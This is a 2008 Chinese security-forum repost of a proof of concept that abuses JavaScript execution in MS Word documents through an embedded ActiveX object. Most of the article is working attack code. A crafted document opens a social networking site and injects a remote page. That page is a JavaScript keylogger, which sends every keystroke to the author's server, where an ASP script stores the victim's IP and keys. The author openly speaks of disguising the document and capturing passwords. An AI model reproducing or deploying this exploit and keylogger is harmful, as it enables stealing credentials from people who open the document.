基地首页 | 基地文章 | 基地动画 | 基地软件 | 技术论坛 | 会员学院
 
 
热门搜索:安全 安全工具 网络安全 会员培训 安全动画 安全
攻防总结免费资源网赚文章网管技巧防火墙技术端口入侵Sniffer嗅探arp技术
DDOS攻防3389攻防灰鸽子文章逆向工程破解实例加密技术脱壳技术溢出漏洞
serv-u漏洞社会工程学渗透技术跨站技术提权技术
 您现在的位置: 新世纪网安基地 >> 文章 >> 脚本攻防 >> 文章正文
对MS word javascript execution的一些测试
作者:admin    文章来源:转载    点击数:    更新时间:2008-5-25

 

作者:余弦
来源:0×37 Security

Microsoft word javascript execution原文:http://marc.info/?l=bugtraq&m=121121432823704&w=2,hi群内讨论过。可以得出一些结论:

1、由于安装Q313675 安全修补程序后禁用ActiveX 内联数据流功能,使得利用JS直接创建ActiveX对象而执行恶意codz的方法不可行。如下code:

<html>
<OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389><param name=url value="javascript:document.write('&lt;script src=http://www.0x37.com/doc.js&gt;&lt;/script&gt;')"></OBJECT>

这个远程的doc.js文件能力有限。但是弹出对话框或一个新窗口还是可以的。

2、漏 洞其实出现在xml文件上,类似于上面这样构造后的html用word打开后另存为xml时,里面的数据都被相应转换为xml格式。然而xml里 的<w:ocx w:data=”……” />却可以引发JS的执行。问题就出现在这。而无论后缀是.doc或.rtf或.xml都将以word默认方式打开,此时word充当一个解释 器,<w:ocx w:data=”……” />内的数据被解释执行而引发JS。

3、AE24FDAE-03C6-11D1-8B76-0080C744F389是mshtml.dll的classid。要找出漏洞起因与修补这个漏洞这些信息还是有价值的。

既然这个JS能力有限,那就来点好玩的,如这里提到过的:http://www.0×37.com/post/15.html。下面这个POC是这样进行的:当用户打开我们恶意构造后的word文档doc.doc后,会弹出校内网的首页http://www.xiaonei.com(拿它做实验,完全是出于我的惯性……)。接着我们就可以记录用户在这个页面上的键盘记录了:)。也许密码就直接抓过来了(假如其他用户和我一样,打开校内网就直接快速输入密码然后Enter,这个完全是习惯……)。

doc.html代码如下:

<html>
<OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389><param name=url value="javascript:x=open('http://www.xiaonei.com/');setInterval (function(){try{x.frames[0].location={toString:function(){return%20′http://www.0×37.com/Project/poc/docshell.html’;}}}catch(e){}},3000);void(1);”></OBJECT>
HI

按照http://marc.info/?l=bugtraq&m=121121432823704&w=2这里的方法生成doc.doc文档(这就是那个邪恶的文档,改个好名字,方便骗人打开)。

远程的docshell.html代码如下:

<html>
<body bgcolor="#333333">
<div id="o"></div>
<input type=text id="x" style="width:0;height:0">
<script>
var _x=false;
if(window.XMLHttpRequest){
_x=new XMLHttpRequest();
}else if(window.ActiveXObject){
_x=new ActiveXObject("Msxml2.XMLHTTP");
if(!_x){_x=new ActiveXObject("Microsoft.XMLHTTP");}
}
document.onkeydown=function(e){
if(!e)e=window.event;
try{
tmp=(String.fromCharCode(e.which||e.keyCode));
_3or7("GET","http://www.0×37.com/Project/poc/docshell.asp?tmp=”+tmp,null);
}catch(ex){}
}
function _3or7(_m,_s,_a){
_x.open(_m,_s,false);
_x.send(_a);
return _x.responseText;
}
setInterval(function(){try{document.getElementById(’x').focus();}catch(e){}},100);
focus();
</script>
</body>
</html>

而远程的docshell.asp代码如下:

<%
ip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If ip="" Then
ip=Request.ServerVariables("REMOTE_ADDR")
End If
tmp=Request.QueryString("tmp")
'Response.write(tmp)
filename="docshell.txt"
Set fso=Server.CreateObject("Scripting.FileSystemObject")
set file=fso.OpenTextFile(server.mappath(filename),8,true)
file.write(ip+">> "+tmp+chr(13))
file.close
set file=nothing
set fso=nothing
%>

接着就可以在这http://www.0×37.com/Project/poc/docshell.txt看到我们键盘记录的结果:)。完整文件在这:http://www.0×37.com/Project/poc/wordjs.rar。不过这个键盘记录还是有缺陷的,本想结合这里http://www.0×37.com/post/15.html提到的方法来构造更邪恶的代码,可是并不顺利……那以后再说了:)。现在就等老胡大牛关于这个漏洞的进一步消息。

『关闭该页』 『打印该页』

  • 上一篇文章:
  • 责任编辑:Wangtianxiang 
  • 下一篇文章: 没有了
  • 最近更新
    推荐文章综合木马免杀经验分享
    推荐文章视频聊天室密码破解
    推荐文章CMD下的网络安全配置
    推荐文章DIY你的QQ,想要啥样就
    推荐文章总结六大条Windows200
    推荐文章强行破解加密WinRAR文
    推荐文章最近流行的14种第三方
    推荐文章菜鸟必看:木马万能查杀
    推荐文章用JS解决网站防挂ifra
    推荐文章手工查杀木马和病毒
    热门文章
    普通文章关于Armadillo 3.**的
    普通文章快速排除VPN故障 提高
    普通文章教你进入有密码 Windo
    普通文章QQ快速升级方法速成
    普通文章最全的免费点亮QQ业务
    固顶文章网安成立二周年加会员
    普通文章提供200M免费ASP空间
    普通文章网信科技提供200M免费
    普通文章经典技巧:教你急速申请
    普通文章新建个文件夹 让指定的
    相关文章
    在VPC 2007中安装虚拟机
    谷歌开发安全浏览诊断网
    黑客的选择:六大数据库
    从入侵看视频服务器安全
    零距离感受综合入侵检测
    一次SA权限入侵和小议SA
    安全专家详细解读:电子
    综合木马免杀经验分享
    XP主要15个系统进程(附详
    教你秘诀三招 彻底防范I
    谷歌通过关联公司收购网
    有效防止DOS攻击--利用l
    抗震救灾中最让人感动的
    Firefox安全设置
    邮件病毒入侵后的正确查
    美国罗马尼亚破获网络钓
    视频聊天室密码破解
    shell脚本初学者的入门知
    windows 服务器安全维护
    破解WindowsXP系统组策略
    关于我们 | 加入会员 | 网安商城 | 投稿方法 | 友情连接 | 网站地图 | 网安论坛网安招聘
    加入会员咨询QQ:65444425 投稿方法: 广告与合作QQ:9324223

    浙ICP备06031184号